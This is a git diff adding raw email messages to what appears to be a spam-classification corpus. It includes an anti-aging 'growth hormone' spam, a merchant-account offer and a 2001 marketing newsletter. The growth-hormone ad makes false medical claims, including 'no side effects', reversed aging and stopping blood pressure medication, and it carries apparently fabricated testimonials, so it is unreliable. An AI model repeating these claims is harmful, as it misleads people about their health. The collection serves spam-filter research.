16:58:52 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + + + Would you like to + look and feel 10-20 years younger + ?
    +
    +Would you be interested in     + increasing energy levels + by + 84% + ? + + + + 15x + +
    +     + + How about + + Increasing Sexual Potency Frequency + by + 75% + ?
    +
    +     + + Would you like to + + increase your Muscle Strength + by + 88% +
    +     + + While...At the same time...
    +     + Reducing Body Fat + by + 72% + and + Wrinkles + by + 51%? +
    +
    +Of course you would! We offer the Most Potent Oral GH Formula available to= + help you achieve all of this and more! Turn Back The Clock and Turn Up th= +e Energy Now!
    +In thousands of clinical studies, GH has been shown to accomplish the foll= +owing:
    +
    +     + _ Reduce body fat and build lean muscle withou= +t exercise! +
    +     + _ Enhance sexual performance +
    +     + _ Remove wrinkles and cellulite +
    +     + _ Lower blood pressure and improve cholesterol= + profile +
    +     + _ Improve sleep, vision and memory +
    +     + _ Restore hair color and growth +
    +     + _ Strengthen the immune system +
    +     + _ Increase energy and cardiac output +
    +     + _ Turn back your body's biological time clock = +10-20 years in 6 months of usage !!! +
    +
    +Here is a sample of just a few of the letters we receive every week
    +thanking us for what our product has done:     + +
    +
    +     + + "I am astounded! The day before I started taki= +ng the GH1,
    +I took blood tests. Then I began using the GH1 as directed.
    +After 8 weeks I took blood tests again.
    +My IGF-1 level (evidence of GH) showed a 70% increase!
    +Furthermore, my cholesterol score went from 190 down to 144!
    +I definitely feel better overall and certainly have more energy.
    +To say the least I am very impressed and pleased with GH1.
    +My "biological" age is now that of a 40 year old!"
    +-Dr. A. Zuckerman M.D., age 60, NY
    +
    +"A year ago, my blood pressure was 180/120 and I was on blood
    +pressure medication. I also started the Anti-Aging formula, GH1.
    +After a year on the product, my blood pressure is now 120/80--
    +and I haven't been on the blood pressure medication for months!"
    +-Susanne Peters, Laguna Beach, CA
    +
    +"After 2 weeks on Anti-Aging Formula GH1, I noticed a higher
    +level of energy, increased sexual energy and my memory and vision
    +were enhanced. My blood pressure is down to 126/84 after workout-and
    +it seems every other day I have to 'rev-up' the amps on the treadmill
    +at the gym. I've noticed a tightening of the skin under my chin and
    +a change in my lungs with much easier breathing. After 4 months,
    +I only need 5 hours sleep instead of 7. One morning, I had to do an extra = +
    +karate workout just to expend all the extra energy!" "After 6 months on +GH1, my blood sugar levels went from 130 down to 65! Also, my stamina has = +
    +increased, as well as my energy and sex drive--this product is GREAT!" +-Dr. Richard Boyd, 78 years old, Harvard Clinical Psychologist, CA
    +
    +"As a straight-ahead bicycle racer, I used to have to wait a minute
    +and a half after sprinting, for my heart rate to come down to where
    +I could sprint again. After a month on GH1, I can now sprint again
    +after only 45 seconds! GH1 cut my waiting time in half!"
    +-Ed Caz, age 40, Fresno,CA
    +
    +"When I heard GH1 would reduce body fat increase lean muscle WITHOUT EXERC= +ISE, I couldn't believe it--but in just a few months I lost 4 inches aroun= +d my waist without exercising and my body fat went from 22 down to 19--eve= +n though I gained 10 pounds! Also, after 4 months, my fine vision returned= +. I no longer need the magnifying glasses to read fine print."
    +-Larry Baker, age 54,Oceanside, CA
    +
    +"I have been taking Anti-Aging Formula GH1 for five months now.
    +I have been under great stress in my business.
    +I believe that taking Anti-Aging Formula GH1 has had a big part in keeping= +
    +my energy level up and having the strength to stay positive in the midst <= +BR> +of discouraging circumstances. Last week I came down with a cold.
    +Colds are tough on me and seem to run their course- headaches, sinus infla= +mmation, and then throat. I am progressing through those stages but more q= +uickly than before. Hallelujah! My eyes aren't as puffy and the skin on my= + hands snaps back faster.
    +My muscles seem to have better tone-I notice it in my legs-and I have more= + energy
    +when I go out walking."
    +- Carolyn Munn
    +
    +"I was taking injections of GH for over one year. A friend suggested that = +
    +I try Anti-Aging Formula GH1, since I was spending 1,000 US dollars a mont= +h and needed
    +a doctor to inject it daily. In 2-3 weeks I felt better from the Anti-Agin= +g
    +Formula GH1 than the whole time I was getting the injections.
    +Thank you Anti-Aging Formula for greatly helping to improve my life!"
    +-Rita Mills McCoy
    +
    +"I have had elevated cholesterol levels since the first time I was tested,= +
    +in my twenties. I was on Anti-Aging Formula GHI for only 1 month when my l= +evels
    +dropped from 245 to 210. I could hardly believe it! After 3 months on Anti= +-Aging
    +Formula GH1 my gray hair began to darken at the roots, returning to its no= +rmal
    +coloring. I have even been able to reduce my thyroid medication. All of th= +is
    +without having to change anything else about my lifestyle, other than taki= +ng
    +few sprays of Anti-Aging Formula GH1 a day. Wow!
    +-Alan Ross, 43 years old
    +
    +GH1 is the highest concentration of orally administered GH1
    +available on the market today. Injections of GH taken in international uni= +ts are usually prescribed to be taken as a shot, two times per day. The in= +dividual would be taking between 2 and 4 units per day. GH1 has over 2000n= +g per dosage and was created to imitate the body's natural secretion of GH= +.
    +     +
    +     + + WHAT IS GROWTH HORMONE (GH)? + +
    +
    +Growth hormone is a naturally occurring substance in the human body which = +
    +is secreted by the pituitary, the master gland of the body, located in the= +
    +endocrine system. GH is a microscopic protein substance that is chemically= +
    +similar to insulin, which is secreted in short pulses during the first few= +
    +hours of sleep and after exercise. GH is one of the most abundant hormones= +
    +secreted, influencing growth of cells, bones, muscles and organs throughou= +t
    +the body. Production of GH peaks at adolescence.
    +
    +Every three years approximately 90% of the cells in the human body are new= +ly made.
    +The body is composed of more than 100 trillion cells that are continuously= +
    +dying and regenerating. The brain and the nervous system retain their orig= +inal
    +cells; however, in the brain new proteins are continuously being produced = +to
    +store memories of every new experience. Overall intelligence and the abili= +ty
    +to learn and memorize all depend on adequate growth hormone.
    +
    +Growth hormone replacement therapy is now available to reverse age-related= + symptoms, including wrinkling of the skin, increased body fat, decreased = +muscle mass, increased cholesterol, decreased stamina and energy, decrease= +d mental function and loss of libido.
    +When growth hormone falls below normal levels, supplementation offers the = +
    +all-natural potential for great benefit. Growth hormone is an amazing subs= +tance
    +which is safe and effective with no known side effects, if taken in the +proper dosage amounts.
    +
    +GH is one of many endocrine hormones, such as estrogen, progesterone, test= +osterone,
    +melatonin and DHEA, that all decline in production as we age. Hormones are= + tiny
    +chemical messengers continuously secreted in the bloodstream in order to r= +egulate
    +the activities of the vital organs. The word "hormone" is derived from a G= +reek word
    +meaning to stimulate. Many of these hormones can be replaced to deter some= + of the
    +effects of aging; however, GH reaches far beyond the scope of these other = +
    +hormones. Not only does it prevent biological aging, but it acts to greatl= +y
    +reverse a broad range of signs and symptoms associated with aging, includi= +ng
    +making the skin more elastic and causing wrinkles to disappear. GH also +helps restore hair color and hair loss.
    +     + +
    +THE ETERNAL FOUNTAIN OF YOUTH?     + +
    +
    +Our bodies naturally produce GH in abundance when we are young, and its pr= +oduction
    +gradually slows over time. The amount of GH after the age of 21 falls abou= +t 14% per
    +decade, so that its production is reduced in half by age 60. While GH is n= +ot new,
    +its availability as a supplement has been limited. Specialized clinics and= + physicians
    +have been using GH for over 30 years on thousands of patients with consist= +ent results.
    +Unfortunately, due to the high costs previously associated with GH, only t= +he medical
    +profession and the wealthy have been privy to its benefits. Another proble= +m has been
    +that the large GH molecule, composed of 191 amino acids (protein), had bee= +n only
    +effective administered through injections. However, a new technology devel= +oped by
    +Anti-Aging Inc., now makes GH an effective, affordable and convenient alte= +rnative.
    +     + +
    +GH production falls by 80% from age 21 to 61     + +
    +     + + +
    +Growth hormone declines with age in every animal species that has been tes= +ted to date.
    +The amount of decline in humans falls approximately 14% per decade.
    +This results in the growth hormone production rate being reduced in half b= +y the age
    +of 60. Humans produce on a daily basis 500 micrograms per year at age 20, = +
    +200 micrograms at age 40 and 25 micrograms at 80 years of age. Between the= + ages
    +of 70 and 80, nearly everyone is deficient in growth hormone which results= + in SDS,
    +or Somatotrophin Deficiency Syndrome. These symptoms are part of the disea= +se called
    +aging which the medical community has determined is not a normal occurrenc= +e.
    +Healing ability and energy levels decrease, as does physical mobility. +Those who want to maintain their youthful vitality and stamina should incl= +ude
    +an effective growth hormone therapy as part of their health regimen.     + + +
    +
    +After numerous clinical studies, the following was determined
    +after 6 or more months of GH therapy:
    +     + _ Improved memory
    +_ Regenerating of the brain, heart, liver, pancreas, spleen, kidneys and o= +ther organs
    +_ Increased sexual drive and performance
    +_ Increased fertility
    +_ Enhanced immune system
    +_ Quicker wound and fracture healing
    +_ New hair growth and color reparation
    +_ Sharper vision
    +_ Improved exercise performance and tolerance
    +_ Increased muscle mass without exercise
    +_ Reduction of cellulite and fat
    +_ Increased stamina and vitality
    +_ Reduction in high blood pressure
    +_ Improvement in sleep
    +_ Anti-aging
    +_ Wrinkle reduction and smoothing
    +_ Decrease in LDL (bad) cholesterol
    +_ Increase in HDL (good) cholesterol
    +_ Strengthening of bones
    +     + +
    +     + IS GH SAFE? + + +
    +GH has been successfully used in the medical community
    +for over thirty years and has been studies for over 60 years.
    +Edmond Klein, M.D. and L. Cas Terry Ph.D., tested over
    +800 individuals and reported in their 1995 study that
    +GH had substantial benefits and no side effects.     +
    +     + + **********************************************= +************************* + +
    +You're going to receive Anti-Aging Formula for under $150.00...
    +Not even $50.00... You are going to receive the entire
    +life-changing Anti-Aging Formula for only $28.95.
    +This is NOT a misprint.
    +But you had better act fast because supplies are limited.     +
    +
    +PS I almost forgot.
    +"Anti-Aging Formula" comes with a ONE MONTH FULL REFUND GUARANTEE!
    +So your one-time fee is refundable making your decision risk free!
    +WE GUARANTEE THAT IF YOU ARE NOT COMPLETELY SATISFIED,
    +JUST RETURN THE UN-USED PORTION WITHIN 30 DAYS AND
    +WE WILL GIVE YOU A FULL REFUND OF THE PURCHASE PRICE.
    +
    +     + *** Our normal price for Anti-Aging Formula is= + 28.95 dollars. +
    +     + For a limited time only, you can purchase a 3 = +MONTH SUPPLY for only $48.95!
    +That is a savings of $37.90 off our regular price.     +
    +
    +     + + + We will also continue to offer you the Anti-Ag= +ing Formula at this low price as long as you purchase from us in the futur= +e. To take advantage of this savings you must order within the next 10 day= +s. + +
    +*********************************************************************** +     + + ORDER TODAY: (CREDIT CARD, CASH, CHECK, OR MON= +EY ORDER) + +
    +     + + SEND Only $28.95(Each bottle is a months suppl= +y.) +
    +For Shipping OUTSIDE the US please add $11.00
    +
    +or
    +     + 3 MONTHS SUPPLY for only $48.95! +
    +For Shipping OUTSIDE the US please add $11.00.
    +
    +Shipping is included!
    +
    +     + To place your order merely fill out the follow= +ing form and fax to 1-7.7.5-6.6.7-9.2.1.6.
    +If this line is busy, please try faxing to 1-4.1.3-3.7.5-0.1.0.9.
    +
    +Internet Information Services
    +PO Box 21442
    +Billings, MT 59104
    +
    +
    +(ALL ORDERS FILLED WITHIN 24 HOURS OF RECEIVING THEM)     +
    +Please allow 7 days for delivery.     +
    +*************************
    +Card Order Form
    +
    +Name on Card:
    +
    +Address:
    +
    +City/State/ZIP:
    +
    +Your email address:
    +     + + ++++++++++++++++++++++++++++++++++++++++ + + +
    +Please circle one
    +     + Please send me a ONE month supply for $28.95 <= +/B> +
    +For Shipping OUTSIDE the US please add $11.00
    +
    +OR
    +
    +     + Please send me a THREE month supply for $48.95= +
    +     + For Shipping OUTSIDE the US please add $11.00 = +
    +     + This is a savings of $37.90 off our regular pr= +ice.
    +     + + ++++++++++++++++++++++++++++++++++++++++ + +
    +
    +Card Number:
    +
    +Date Card Expires:
    +
    +If you do not receive your order within 10 days, please send us a fax lett= +ing us know of the late
    +arrival. We will then contact you to figure out why you have not received = +your order.
    +
    +Please tell us your phone Number:
    +
    +Please tell us your fax Number:
    +To order by Check or Money Order:
    +
    +MAKE YOUR CHECK PAYABLE TO
    +Internet Information Services
    +
    +Name:
    +
    +Address:
    +
    +City/State/ZIP:
    +
    +E-mail Address:
    +
    +If you do not receive your order within 10 days, please send us a fax lett= +ing us know of the late
    +arrival. We will then contact you to figure out why you have not received = +your order.
    +
    +Please tell us your phone Number:
    +
    +Please tell us your fax Number:
    +
    +Thank you for your business,
    +
    +Internet Information Services
    +PO Box 21442
    +Billings, MT 59104
    +
    +Fax to 1-7.7.5-6.6.7-9.2.1.6. If this line is busy, please try faxing to 1= +-4.1.3-3.7.5-0.1.0.9.
    +
    +Copyright (c) 1997-2000
    +All Rights Reserved
    +     +
    +Anti-Aging Formula comes with a ONE MONTH FULL REFUND GUARANTEE!
    +So your one-time fee is refundable making your decision easy!
    +WE GUARANTEE THAT IF YOU ARE NOT COMPLETELY SATISFIED,
    +JUST RETURN THE UN-USED PORTION WITHIN 30 DAYS
    +AND WE WILL GIVE YOU A FULL REFUND OF THE PURCHASE PRICE.
    +
    +
    +
    +
    +
    +
    +
    +     + + ++++++++++++++++++++++++++++++++++++++++++++++= ++++++++++ + +
    +     + + This ad is produced and sent out by: Universal= + Advertising Systems
    +To be taken off our list please email us at
    +vanessagreen@freeze.com
    +with take me off in the subject line or call us toll free at
    +1-8.8.8-6.05-2.4.8.5 and give us your email address
    +or write us at:Central Database, PO Box 1200, Oranjestad, Aruba     + +
    +     + + ++++++++++++++++++++++++++++++++++++++++++++++= +++++++++++ + +
    +
    +
    +
    +
    +

    + + Content-Transfer-Encoding: 7BIT + +


    +     + + +
    +    <= +/FONT>     + + + + diff --git a/bayes/spamham/spam_2/00043.9331daf0bd865aa657cb02cbcd06173b b/bayes/spamham/spam_2/00043.9331daf0bd865aa657cb02cbcd06173b new file mode 100644 index 0000000..fab1316 --- /dev/null +++ b/bayes/spamham/spam_2/00043.9331daf0bd865aa657cb02cbcd06173b @@ -0,0 +1,93 @@ +From shopcrt4uccopalips@angelfire.com Fri Jun 29 02:49:12 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id 0131D130028 for + ; Fri, 29 Jun 2001 02:49:11 +0100 (IST) +Received: from nt1meltingpoint (www.meltingpoint.de [212.79.186.62] (may + be forged)) by dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id CAA21641 + for ; Fri, 29 Jun 2001 02:47:54 +0100 +From: shopcrt4uccopalips@angelfire.com +Received: from 63.21.73.21 (63.21.73.21) by nt1meltingpoint with + MERCUR-SMTP/POP3/IMAP4-Server (v3.20.01 AS-0098319) for ; + Fri, 29 Jun 2001 02:59:56 +0200 +Message-Id: <00002a4e6160$0000208e$00002be1@> +To: +Subject: Get started! +Date: Thu, 28 Jun 2001 21:00:19 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: jocob_haydott@yahoo.com + + + + + + +Does Your Business Need to Accept Credit Cards Today? + +Are Your Merchant Fees Too Expensive? + +99% APPROVAL + +Sign Up NOW and Get a FREE Shopping Cart! + +Start Your e-Commerce Store Today! + + ·Merchant Account + ·Free Shopping Cart + ·Website Design + ·Website Hosting + ·Domain Name Registration + +Accept Visa, MasterCard, Discover/Novus and American Express + +NO APPLICATION FEES + +Reply NOW for a FREE, No-Obligation Quote! + +Name: +Phone: +Website Address: +Type Of Business: +Time to Call: +Comments: + + + + + + + +To be removed from future offers please reply +with the word "remove" in the subject line. + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00044.9f8c4b9ae007c6ded3d57476082bf2b2 b/bayes/spamham/spam_2/00044.9f8c4b9ae007c6ded3d57476082bf2b2 new file mode 100644 index 0000000..75c58b4 --- /dev/null +++ b/bayes/spamham/spam_2/00044.9f8c4b9ae007c6ded3d57476082bf2b2 @@ -0,0 +1,911 @@ +From YourMembership2@AEOpublishing.com Fri Jun 29 06:24:56 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (rovdb001.roving.com [216.251.239.53]) + by mail.netnoteinc.com (Postfix) with ESMTP id D26BC130028 for + ; Fri, 29 Jun 2001 06:24:52 +0100 (IST) +Received: from rovweb002 (unknown [10.208.80.86]) by rovdb001.roving.com + (Postfix) with ESMTP id 38465236DB for ; Fri, + 29 Jun 2001 01:24:40 -0400 (EDT) +From: 'Your Membership' Editor +To: yyyy@netnoteinc.com +Subject: Your Membership Exchange +X-Roving-Queued: 20010629 01:19.12000 +X-Roving-Version: 4.1.patch39.ThingOne_p39_06_25_01.OrderErrorAndDebugFixes +X-Mailer: Roving Constant Contact 4.1.patch39.ThingOne_p39_06_25_01.OrderE + rrorAndDebugFixes (http://www.constantcontact.com) +X-Roving-Id: 993704044281 +Message-Id: <20010629052440.38465236DB@rovdb001.roving.com> +Date: Fri, 29 Jun 2001 01:24:40 -0400 (EDT) + + +--1074482631.993802752000.JavaMail.RovAdmin.rovweb002 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Exchange, Issue #423 (June 28, 2001) + +Your place to exchange ideas, ask questions, swap links, and share your skills! + +You are a member in at least one of these programs +- You should be in them all! + BannersGoMLM.com
    + ProfitBanners.com
    + CashPromotions.com
    + MySiteInc.com
    + TimsHomeTownStories.com
    + FreeLinksNetwork.com
    + MyShoppingPlace.com
    + BannerCo-op.com
    + PutPEEL.com
    + PutPEEL.net
    + SELLinternetACCESS.com
    + Be-Your-Own-ISP.com
    + SeventhPower.com +

    ______________________________________________________
    +Today's Special Announcement:

    + +I'll Put Your Ad on 2,000 Sites FREE! Free This Week Only, +Just For Our Subscribers! Learn the secrets of marketing +online on this global FREE teleseminar. Limited lines +available, only three time slots available... reserve today. +You will not be disappointed! I'll be your personal host. +We operate several sites, all successful. I'll teach you what +to do and how to do it! Click here: +FREE Teleseminar +Michael T. Glaspie - Founder + +______________________________________________________
    +We apologize for any technical problems you may have had with +our last mailing, we are working hard to ensure that such problems +will not occur again.

    + +In This Issue:

    +>> Q & A
    + QUESTIONS:
    + - Using pictures as links?
    + ANSWERS:
    + - Unblocking sites so I can access?
    + Z. OConan: Access using a proxy
    + G. Bendickson: Using A Proxy To Visit Blocked Sites

    + +>> MEMBER SHOWCASES

    + +>> MEMBER *REVIEWS*
    + - Sites to Review: #124, #125 & #126!
    + - Site #123 Reviewed!
    + - Vote on Your Favorite Website Design!
    +

    +______________________________________________________
    + +>>>>>>> QUESTIONS & ANSWERS <<<<<<<

    +Do you a burning question about promoting your website, html design, +or anything that is hindering your online success? Submit your questions +to MyInput
    Are you net savvy? Have you learned from your own trials and errors and +are willing to share your experience? Look over the questions each day, +and if you have an answer or can provide help, post your answer to +MyInput@AEOpublishing.com Be sure to include your signature +file so you get credit (and exposure to your site).

    + + + +QUESTIONS:

    + +From: moviebuff@cliffhanger.com
    +Subject: Using pictures as links

    + +I'm changing my website and want to use pictures for the links to other pages. +But, someone told me I should still put a 'click here' underneath all the +pictures. To me, this removes all purpose of using the pictures.

    + +How can I get across that you click on the pictures to get to other pages +without coming right out and saying so? For example, I have a page with +actor and actress information and just want to have a picture of my +favorite stars to click on and change the picture every couple of days.

    + +Mark
    +moviebuff@cliffhanger.com
    +

    + + + +ANSWERS:

    + +From: Zaak - Zaako@linkpaks.com
    +Subject: Access using a proxy

    + +>From: CJ (cj5000@post.com)
    +>Subject: Unblocking sites so I can access? (Issue #422)

    + +--> I am currently living in a place where the ISP is +blocking 50% of +the web. I was told by someone that you can unblock these web sites by +using a proxy, but I don't know what that means. I am wondering is +there a way to get access to these sites? --
    +

    +A proxy is easy to use if you use someone elses, they can be tricky to setup yourself. +I have had very good results with Surfola. Basically you surf to their servers and then +from there you surf Through/From their servers. I have several places I surf from that +block content. Surfola easily bypasses them! Its also Free! You can also make money +with them but I just use them to bypass anal retentive ISP/Corporate providers and +because they allow me to surf anonymously!

    + +I have a detailed right-up on them at http://linkpaks.com/paidtosurf/Surfola.php +See there for more info. If anything is not clear feel free to ask. +(Email & Sign-up Links on http://linkpaks.com/paidtosurf/Surfola.php page)

    + +Zaak OConan
    +Netrepreneur
    +Http://LinkPaks.com - Surf & Earn Guides
    +Http://LinktoCash.com - Internet Businesses for under $100
    +Http://ITeam.ws - The Hottest Product on the Net Today

    + + +++++ Next Answer - Same Question ++++

    + +From: Wyn Publishing - wynpublishing@iname.com
    +Subject: Using A Proxy To Visit Blocked Sites

    + +>From: CJ (cj5000@post.com)
    +>Subject: Unblocking sites so I can access? (Issue #422)

    + +CJ,

    + +Two such sites that allows proxy surfing are:
    +http://www.anonymise.com and +http://www.anonymizer.com .

    + +However, if you cannot get to that site then obviously it will not work. +Also note, that if your ISP is dictating to you which sites you may or +may not visit, then it is time to change providers!

    + +Gregory Bendickson, Wyn Publishing
    +Over 28 Free Traffic exchange services reviewed in a fully
    +customizable e-book. Download yours free and get multiple
    +signups while learning the art of free web traffic!
    +http://www.trafficmultipliers.com

    + +______________________________________________________

    + +>>>>>>> WEBSITE SHOWCASES <<<<<<<

    + +Examine carefully - those with email addresses included WILL +trade links with you, you are encouraged to contact them. And, there +are many ways to build a successful business. Just look at these +successful sites/programs other members are involved in...

    +-----------------------------------------------------

    + +"It's The Most D-A-N-G-E-R-O-U-S Book on the Net" +Email 20,000 Targeted Leads Every Single Day! Slash Your +Time Online to just 1-2 Hours Daily! Build 11 Monthly Income +Streams Promoting ONE URL! Start building YOUR Business - +NOT everyone elses! http://www.roibot.com/w.cgi?R8901_bd_shwc
    +-----------------------------------------------------

    + +Is your website getting traffic but not orders? +Profile, Analyze, Promote, and Track your site to +get the results you want. Fully Guaranteed! +Free Trial Available! http://www.roibot.com/w.cgi?R4887_saa
    +------------------------------------------------------

    + +OVER 7168 SITES TO PLACE YOUR FREE AD! +Get immediate FREE exposure on thousands of sites. +Plus two FREE programs that will AUTOMATICALLY type +your ad for you! Pay one time, promote all the time. + http://www.hitekhosting.net/cgi-bin/club_click.cgi?ID2932
    +-----------------------------------------------------

    + +If you have a product, service, opportunity and/or quality +merchandise that appeals to people worldwide, reach your +target audience! + +For a fraction of what other large newsletters charge you +can exhibit your website here for only $8 CPM. Why?... +Because as a valuable member we want you to be successful! +Order today - Exhibits are limited and published on a +first come, first serve basis. http://bannersgomlm.com/ezine
    +

    +______________________________________________________
    + +>>>>>>> MEMBER *REVIEWS* <<<<<<<<

    + +Visit these sites, look for what you like and any suggestions +you can offer, and send your critique to MyInput@AEOpublishing.com +And, after reviewing three sites, your web site will be added to +the list! It's fun, easy, and it's a great opportunity to give +some help and receive an informative review of your own site. +Plus, you can also win a chance to have your site chosen for +a free website redesign. One randomly drawn winner each month!

    + + +SITES TO REVIEW:

    + +Site #124: http://www.BestWayToShop.com
    +Dale Pike
    +rhinopez@aol.com

    + +Site #125: http://www.wedeliverparties.com
    +Dawn Clemons
    +dclemons7@home.com

    + +Site #126: http://www.EClassifiedshq.com
    +Carol Cohen
    +Opp0rtunity@aol.com

    + +SITE REVIEWED:

    + +Comments on Site #123: http://netsbestinfo.homestead.com/nbi.html
    +Dennis
    +damorganjr@yahoo.com
    +~~~~

    + +I reviewed site 123 and found the size of the font to be too aggressive and +I don't like mustard yellow for a background. Also in the second or third +paragraph is a misspelled word which should be "first-come" not as +shown on the page.

    + +I feel a sample of the type of information offered in the newsletter should +be displayed on the page as well as a sample of the free ads offered +on the site. I will probably submit a free ad just to see the content of the newsletter.

    + +As has been mentioned many times, some information about the person +doing the page is always good. We need some information about +why this newsletter will be worthwhile to subscribe to.
    +~~~~

    + +Dennis - I took a look at your site, and have recommendations +for improving your page.
    +1- I use Internet Explorer and view web pages with my text size set to +'smaller'. The text you used was quite large, like a font used for a heading +for all the text. By making the text size smaller it wouldn't feel like +you were screaming at me. Also, the background was just too much.
    +2- There were spelling errors in the text. Often it might be difficult for you +to spot these yourself if you see the page all the time, but have a friend +look it over. Spelling errors make the page look unprofessional.
    +3- Offer a sample of your newsletter so people can see what it looks like +before they subscribe. Also, if you are asking for a person to give you +their email address, you MUST have a privacy policy and let them know +they can unsubscribe.
    +4- Think about adding a form for people to subscribe to the newsletter. +It looks more professional than just offering an email address to send to.
    +5- Offer information about yourself, and the kinds of information your +newsletter contains. Maybe extend your site to include back issues or +an archive to see what information you have offered in the past.
    +6- Build another page for 'sponsoring info' and put prices on that +page. Remove all pricing information from the home page.
    +~~~~

    + +I feel that the background is a little too bold and busy for the text. +I also believe that the text is too large which makes it difficult to read +quickly, and forces the reader to scroll down unnecessarily. +I noticed some spelling errors, and I think that a link to the classifieds +site should be provided, and online payments should be accepted. +A site that sells advertising should have advertisments on it!
    +~~~~

    + +This is a very clear site with nothing interfering with the +message. I did not like the background colour, however that is +personal, it did not detract from the information. I was tempted +to sign up for the newsletter but would have liked a link to see +a current issue. There was an error in the wording (a word +missed) which needs correction and I think the fonts could be +smaller. Overall a non-confusing site which makes a nice change. *cheers*
    + +~~~~

    + +Could use a better background and the fonts are very large, there also +are errors in the following paragraphs : +"first com-first serve" and "to place a sponsor advertisement, +send your to my email"
    +~~~~

    + +A single page site. It is necessary to subscribe to the webmaster's +newsletter to see what he's doing, and it doesn't seem to me to be +a way to get people to visit. I wouldn't, for example. He claims to +have lots of tidbits of information that, he says, we probably +didn't know, and this is possible, but in my opinion, he would be +better served if he at least put some of the things out there for +all to see - when the appetite, so to speak, if he want people to +subscribe. As it is, I would not bother.
    +~~~~

    + +What does one expect from a site like netsbestinfo? Some useful +resources and some useful tips and also some forms of easy +advertisement on the net. But what we get here is a newsletter +with the owner (whose email reads damorgarjr@yahoo.com) +asking us to subscribe us to his newsletter for a free 4-line ad. +He also tells of paid category of advertisements. This is all we get +from a site which has a grand title. Even the information about +the newsletter is hardly impressive and is presented in about 35-to-40 +points size which gets difficult to read.
    +~~~~

    + +A neat enough site but the background could be a little hard on +the eyes. There is only really one problem with this page - its +just an advertisement for a newsletter. No, scratch that, its an +advertisement to place free ads in a newsletter. A bold enough +move perhaps but I learned hardly anything about the newsletter +itself and immediately started worrying about getting a flood of +ads to my email account so I didn't even subscribe. Presumably +you'd want to get people to sign up so might I suggest splitting +the page into the newsletter itself, perhaps a sample issue, +a privacy policy and a promise not to drown in ads and then click +for more info on your free ads.

    +________________________________________
    + +VOTE ON YOUR FAVORITE WEBSITE DESIGN!
    + +Help out the winner of the free website redesign by voting for +YOUR favorite!

    + +You can help out Teddy at links4profit.com by taking a +look at his site, then checking out the three new layouts Jana of +AkkaBay Designs AkkaBay.com has designed specifically +for him. After you've visited all three, vote for your favorite. +To make this as easy as possible for you, just click on the e-mail +address that matches your choice - you do not need to enter +any information in the subject or body of the message.

    + +I have included a note from Jana, and the links to Teddy's +current site along with the three new designs:

    + +>From Jana: The pages have been created as non-frame pages +although with minor modification, the pages could be adapted +for use in a frames environment

    + +Please take a look at the existing site: http://www.links4profit.com

    + +Here are the 3 redesigns:

    + +http://AkkaBay.com/links4profit/index.html
    +Vote for this design: design1@AEOpublishing.com

    + +http://AkkaBay.com/links4profit/index2.html
    +Vote for this design: design2@AEOpublishing.com

    + +http://AkkaBay.com/links4profit/index3.html
    +Vote for this design: design3@AEOpublishing.com

    + +You will have all of this week to vote (through June 29), and +we'll list the favorite and most voted for layout next week. +Teddy of course will be able to choose his favorite, and +colors, font style/size, backgrounds, textures, etc, can all +easily be changed on the "layout" that he likes. +

    +Free website re-designs and original graphics are provided to +FLN Showcase winners courtesy of AkkaBay Designs. + http://AkkaBay.com

    + +If you have any questions about how this works or how you can +participate, please email Amy at MyInput@AEOpublishing.com
    +______________________________________________________
    +______________________________________________________
    + +Send posts and questions (or your answers) to:
    + MyInput@AEOpublishing.com
    +Please send suggestions and comments to:
    + Moderator@AEOpublishing.com

    + +To change your subscribed address, send both new +and old address to Moderator@AEOpublishing.com
    +See below for unsubscribe instructions.
    + +Copyright 2001 AEOpublishing
    + +-----End of Your Membership Exchange

    + + + + + +------------------------------------------------ + + +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.a4dfur67&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +--1074482631.993802752000.JavaMail.RovAdmin.rovweb002 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Exchange + + + + +

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      Your Membership Exchange, Issue #423 
     June 28, 2001  
      + + + + + +
    + + + Your place to exchange ideas, ask questions, swap links, and share your skills! + + + +

    You are a member in at least one of these programs +- You should be in them all! + BannersGoMLM.com
    + ProfitBanners.com
    + CashPromotions.com
    + MySiteInc.com
    + TimsHomeTownStories.com
    + FreeLinksNetwork.com
    + MyShoppingPlace.com
    + BannerCo-op.com
    + PutPEEL.com
    + PutPEEL.net
    + SELLinternetACCESS.com
    + Be-Your-Own-ISP.com
    + SeventhPower.com +

    ______________________________________________________
    +Today's Special Announcement:

    + +I'll Put Your Ad on 2,000 Sites FREE! Free This Week Only, +Just For Our Subscribers! Learn the secrets of marketing +online on this global FREE teleseminar. Limited lines +available, only three time slots available... reserve today. +You will not be disappointed! I'll be your personal host. +We operate several sites, all successful. I'll teach you what +to do and how to do it! Click here: +FREE Teleseminar +Michael T. Glaspie - Founder +

    ______________________________________________________
    +We apologize for any technical problems you may have had with +our last mailing, we are working hard to ensure that such problems +will not occur again.

    + +In This Issue:

    +>> Q & A
    + QUESTIONS:
    + - Using pictures as links?
    + ANSWERS:
    + - Unblocking sites so I can access?
    + Z. OConan: Access using a proxy
    + G. Bendickson: Using A Proxy To Visit Blocked Sites

    + +>> MEMBER SHOWCASES

    + +>> MEMBER *REVIEWS*
    + - Sites to Review: #124, #125 & #126!
    + - Site #123 Reviewed!
    + - Vote on Your Favorite Website Design!
    +

    +______________________________________________________
    + +>>>>>>> QUESTIONS & ANSWERS <<<<<<<

    +Do you a burning question about promoting your website, html design, +or anything that is hindering your online success? Submit your questions +to MyInput
